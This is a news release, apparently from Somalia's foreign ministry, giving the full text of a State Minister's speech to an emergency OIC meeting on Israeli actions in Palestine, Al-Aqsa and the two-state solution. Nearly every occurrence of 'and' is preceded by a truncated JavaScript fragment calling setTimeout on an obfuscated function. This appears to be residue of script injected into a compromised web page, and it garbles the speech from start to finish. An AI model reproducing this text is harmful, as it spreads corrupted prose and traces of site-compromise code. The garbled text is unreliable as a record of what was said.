In emergency OIC meeting, Somalia calls on the international community to play a vital role to stop the Israeli aggression in Palestine

Mogadishu (MfaSomalia) –  The State Minister for Foreign Affairs dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and International Cooperation, H.E. Mr. Balal Mohamed Cusman, participated on Sunday in the virtual open-ended extraordinary meeting of the Executive Committee of the Organization of Islamic Cooperation at the level of foreign ministers, which discussed the Israeli aggression in the Palestinian territory, particularly Al-Quds Al-Shareef, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and the acts of violence committed in the vicinity of Al-Aqsa Mosque.

The meeting, which was held at the request of the Kingdom of Saudi Arabia, the chair of the current session of the OIC, had His Excellency Balal Cusman delivered his speech, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and here is the full text:

Your Highness, The Foreign Minister of the Kingdom of Saudi Arabia, Faisal bin Farhan Al Saud,
Excellencies, Ministers for Foreign Affairs
H.E. Dr. Yusuf bin Ahmed Al-Uthaimin, The Secretary General of the Organization of Islamic Cooperation
Distinguished ambassadors dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and permanent Delegates,
Ladies dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Gentlemen.

Asalam Aleykum Warahmatullah Wa Barakaatuhu,

I am pleased at the outset that I begin to extend my sincere thanks to the Foreign Minister of the Kingdom of Saudi Arabia HRH Mr. Faisal bin Farhan Al Saud for hosting this Virtual extraordinary.
I would also like to thank His Excellency the Secretary General of the Organization of Islamic Cooperation dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and all employees of the organization for their tireless efforts to strengthen the Organization’s role dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and push a joint action to the pressing issues of Islamic World.

Excellencies, Ladies dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Gentlemen,

I believe that this meeting would not have come at a better, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and more needed time than today.

This meeting signifies the fact that the Palestinian cause dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and that of Al-Aqsa Mosque remains as a top priority for the Islamic World.

The Federal Government of Somalia, therefore joins with the rest of Islamic World for the calls to end the Israeli occupation in the Palestinian territories dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and ensure the right of the Palestinian people to self-determination dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and to the establishment its own independent state with East Jerusalem as its undisputed capital.

We also call upon the international community to assume its responsibilities on the need to stop the Israeli attacks on all Palestinians territories, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and to respect international laws dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and norms dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and to restore the rights of the Palestinian people including religious freedoms.

Distinguished Guests, ladies dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and gentlemen,

It is abundantly clear that any Israeli unilateral annexation of Palestine or continuation of the occupation would cause an irreparable damage to the prospects for a negotiated two-state solution, therefore Somalia reaffirms its adherence to the Arab peace initiative as a strategic option to resolve the Palestine – Israel conflict, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and in accordance with all the relevant Security Council resolutions in this regard.

Somalia continues to support the two-state solution, based on international parameters dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and on 1967 lines, with Israel dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and an independent viable State of Palestine, living side by side in peace, security dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and mutual recognition.

Distinguishes Guests, Ladies dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Gentlemen,

Indeed, the dangers that threaten the Islamic world are diverse dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and continue to upsurge. Islamic world therefore needs, as a matter of urgent concern, to have a unified stance on the pressing issues in the Muslim world including the Palestinian cause, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Terrorism.

I pray our deliberations here today would yield fruitful dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and lasting solutions for our problems.

I THANK YOU ALL.